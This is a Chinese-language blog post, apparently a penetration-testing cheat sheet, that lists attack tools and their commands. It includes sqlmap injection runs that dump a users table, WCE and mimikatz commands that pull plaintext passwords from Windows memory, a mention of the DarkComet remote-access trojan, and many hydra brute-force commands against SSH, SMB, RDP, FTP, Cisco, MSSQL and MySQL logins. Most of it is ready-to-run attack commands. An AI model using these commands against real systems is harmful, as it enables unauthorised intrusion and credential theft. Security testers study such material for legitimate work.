    MISCELLANEOUS(混杂的)类: -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") --beep Beep on question and/or when SQL injection is found --cleanup Clean up the DBMS from sqlmap specific UDF and tables --dependencies Check for missing (optional) sqlmap dependencies --disable-coloring Disable console output coloring --gpage=GOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a thorough testing for a WAF/IPS protection --list-tampers Display list of available tamper scripts --mobile Imitate smartphone through HTTP User-Agent header --offline Work in offline mode (only use session data) --purge Safely remove all content from sqlmap data directory --skip-waf Skip heuristic detection of WAF/IPS protection --smart Conduct thorough tests only if positive heuristic(s) --sqlmap-shell Prompt for an interactive sqlmap shell --tmp-dir=TMPDIR Local directory for storing temporary files --web-root=WEBROOT Web server document root directory (e.g. "/var/www") --wizard Simple wizard interface for beginner users • -z:参数助记符 • sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1" • sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1" • sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1" • sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“ • --answer   • sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch • --check-waf:检测WAF/IPS/IDS • --hpp:HTTP parameter pollution   • 绕过WAF/IPS/IDS的有效方法   • 尤其对ASP/IIS 和ASP.NET/IIS • --identify-waf:彻底的waf/ips/ids检查 • 支持30多种产品 • --mobile:模拟智能手机设备 • --purge-output:清除output文件夹 • --smart:当有大量检测目标时,只选择基于错误的检测结果 • --wizard

    pangolin

    啊D

    网络监听(抓包嗅探):

    wireshark(重点)

    tcpdump(重点)

    • 抓包
    • tcpdump -i eth0 -s 0 -w file.pcap
    • 读取抓包文件
    • tcpdump -r file.pcap
     
    筛选
    • tcpdump -n -r http.cap | awk '{print $3}'| sort –u
    • tcpdump -n src host 145.254.160.237 -r http.cap
    • tcpdump -n dst host 145.254.160.237 -r http.cap
    • tcpdump -n port 53 -r http.cap
    • tcpdump -nX port 80 -r http.cap
     
    高级筛选
    • tcpdump -A -n 'tcp[13] = 24' -r http.cap
    

    Omnipeek      //Windows下的抓包分析嗅探工具

    Sniffpass      //密码查看器

    cain
    • 浏览器缓存的密码

    • IE浏览器

    • Firefox

    pwdump    通过Windows系统的SAM数据库提取出账户的用户名和密码,得到的是LMhash和NThash算法过后的密文,然后拿到kali上通过相应的工具进行解密

    WCE (WINDOWS CREDENTIAL EDITOR)    Windows身份编辑器

    由于通过SAM数据库获取的密码是密文的形式,如果密码足够复杂,破解是很难的,通过WCE相应的工具是直接从内存里面去提取用户名和密码的数据

    • /usr/share/wce/

    • 需要管理员权限
    • wce-universal.exe -l  / -lv
    • wce-universal.exe -d
    • wce-universal.exe -e / -r
    • wce-universal.exe -g
    • wce-universal.exe -w       //直接从内存里获取用户的明文密码
    • LM/NT hash 

     其他工具

    • mimikatz   //俄罗斯人开发的

    • privilege::debug     // 提升权限
    • sekurlsa::logonPasswords     // 查看已登录用户的明文密码
    • :: 
    

    查看更多密码查看工具

    远程控制类:

    darkcomet        一款法国人开发的远控软件

    密码爆破类:

    hydra

    参数详解:

    -R  根据上一次进度继续破解
    -S  使用SSL协议连接
    -s  指定端口
    -l  指定用户名
    -L  指定用户名字典(文件)
    -P  指定密码破解
    -p  指定密码字典(文件)
    -e  空密码探测和使用登录名作为密码以及登录名倒序作为密码(nsr)
    -C  用户名可以用:分割(username:password)可以代替 -l  username  -p  password
    -o  输出文件
    -t  指定多线程数量,默认为16个线程
    -vV  显示详细过程
    server  目标IP
    service  指定服务名(telnet、ftp、http、mysql、ssh)
    

     使用案例:

    破解ssh:
    hydra  -L  user.txt  -P  password.txt  -vV  -o  ssh.log  -e  ns   IP    ssh
    破解smb:
    hydra  -l  administrator -P  password.txt    IP    smb
    破解rdp:
    hydra   IP   rdp   -l   administrator    -P   password.txt   -V
    破解telnet:
    hydra   IP   telnet   -l  administrator  -P  password.txt    -t   32   -s  23   -e  ns  -f   -V
    破解ftp:
    hydra   ftp   IP    -l  administrator  -P  password.txt   -t (默认16线程)   -vV
    hydra   ftp   IP    -l  administrator  -P  password.txt  -e   ns   -vV
    破解Cisco:
    hydra   -P  password.txt    IP  cisco
    hydra  -m  cloud   -P  password.txt    10.58.26.98  cisco-enable
    破解sqlserver密码:
    hydra.exe -l sa  -P c:password.txt  192.168.25.26 mssql
    破解mysql密码:
    hydra.exe -l root  -P c:password.txt  192.168.25.26 mysql
    指定登录名密码的方式,使用 “登录名:密码” 的格式放到文件中指定
    hydra -C default_accounts.txt ftp://localhost/
    通过文件来指定攻击目标(可以自定义端口):
    hydra -l admin -p admin -M targets.txt ftp
    Brute Force模式(暴力模式),使用 “-x” 选项指定:
    -x minimum_length:maximum_length:charset
    charset 位置,使用 a 表示小写字母,A 表示大写字母,1 表示数字
    • -x 1:1:a 生成一个字符的并且小写字母的密码。也就是说该参数会尝试从a到z共26个密码。
    • -x 1:3:a 生成长度为1到3个字符并且全部小写字母的密码
    • -x 2:5:/ 生成长度为2到5个字符并且只包含斜杠的密码
    • -x 5:8:A1 生成长度为5到8个字符并且有大写字母和数字的密码

    示例:

    hydra -l ftp -x 3:3:a ftp://localhost/

    default_accounts.txt格式:
    admin:password
    test:test
    foo:bar
    
    targets.txt格式:
    foo.bar.com
    target.com:21
    unusual.port.com:2121
    default.used.here.com
    127.0.0.1
    127.0.0.1:2121
    

    pkav 、http  fuzzer、Discuz批量用户密码暴力破解器

    sqlmap

    beef

  • 相关阅读:
    Ubuntu 16 安装redis客户端
    crontab 参数详解
    PHP模拟登录发送闪存
    Nginx配置端口访问的网站
    Linux 增加对外开放的端口
    Linux 实用指令之查看端口开启情况
    无敌的极路由
    不同的域名可以指向同一个项目
    MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error
    Redis 创建多个端口
  • 原文地址:https://www.cnblogs.com/steven9898/p/11390542.html
Copyright © 2011-2022 走看看